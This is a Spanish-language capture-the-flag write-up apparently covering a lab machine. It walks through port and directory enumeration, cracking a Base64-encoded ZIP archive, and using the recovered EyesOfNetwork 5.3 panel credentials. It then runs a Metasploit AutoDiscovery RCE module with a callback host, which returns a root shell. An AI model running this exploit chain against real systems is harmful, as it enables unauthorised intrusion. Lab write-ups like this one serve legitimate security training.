Enumeración de servicios
La máquina expone una superficie amplia: SSH, varios servidores HTTP, MariaDB, InfluxDB y EyesOfNetwork sobre HTTPS. El puerto 66 ejecuta un servidor HTTP simple de Python, mientras que el título del 443 identifica el producto que más adelante podremos investigar:
❯ sudo nmap -p- -sS -n -Pn -oG 01-allPorts 192.168.1.19
❯ nmap -sCV -p22,66,80,111,443,2403,3306,8086 -oN 02-targeted.txt 192.168.1.19
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-25 22:05 -04
Nmap scan report for 192.168.1.19
Host is up (0.00031s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
66/tcp open http SimpleHTTPServer 0.6 (Python 2.7.5)
80/tcp open http Apache httpd 2.4.6 ((CentOS) ...)
111/tcp open rpcbind 2-4 (RPC #100000)
443/tcp open ssl/http Apache httpd 2.4.6 ((CentOS) ...)
| http-title: EyesOfNetwork
2403/tcp open taskmaster2000?
3306/tcp open mysql MariaDB (unauthorized)
8086/tcp open http InfluxDB http admin 1.7.9
...Exposición de archivos en el puerto 66
Enumeramos el servidor Python del puerto 66. Gobuster descubre las dos flags y un archivo llamado eon, todos accesibles sin autenticación:
❯ gobuster dir -u 'http://192.168.1.19:66/' -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html,jpg,jpeg,png,gif,zip -r
...
/user.txt (Status: 200) [Size: 32]
/root.txt (Status: 200) [Size: 32]
/eon (Status: 200) [Size: 248]
...El contenido de eon es Base64. Tras decodificarlo identificamos un ZIP protegido por una Weak Password y lo guardamos como application.zip. zip2john extrae un hash atacable y John recupera killah:
❯ base64 -d eon > application.zip
❯ zip2john application.zip > hash
❯ sudo /opt/john/run/john -w=/home/wh01s17/Documentos/wordlists/rockyou.txt hash
...
killah (application.zip/creds.txt)
...Identificación de la vulnerabilidad en EyesOfNetwork
El archivo creds.txt del ZIP contiene las credenciales del panel EyesOfNetwork en el puerto 443:
admin
isitreal31__Después de autenticarnos, buscamos exploits que coincidan con la versión 5.3; Searchsploit muestra varias alternativas, incluida una ejecución remota mediante AutoDiscovery:
❯ searchsploit eyes 5.3
...
EyesOfNetwork 5.3 - File Upload Remote Code Execution | multiple/webapps/49432.sh
EyesOfNetwork 5.3 - RCE & PrivEsc | multiple/webapps/49402.txt
...Explotación de AutoDiscovery
Las notas registran que los primeros exploits públicos probados no funcionaron. Conservando la sesión iniciada en el navegador, usamos el módulo de Metasploit correspondiente, indicamos el host objetivo y nuestra dirección de retorno, y ejecutamos la carga autenticada:
❯ msfconsole
msf6 > use exploit/linux/http/eyesofnetwork_autodiscovery_rce
msf6 exploit(linux/http/eyesofnetwork_autodiscovery_rce) > set rhosts 192.168.1.19
msf6 exploit(linux/http/eyesofnetwork_autodiscovery_rce) > set lhost 192.168.1.5
msf6 exploit(linux/http/eyesofnetwork_autodiscovery_rce) > runEl módulo abusa de la funcionalidad AutoDiscovery para ejecutar comandos con el contexto privilegiado del servicio y entrega una shell de root. Con esto completamos la máquina.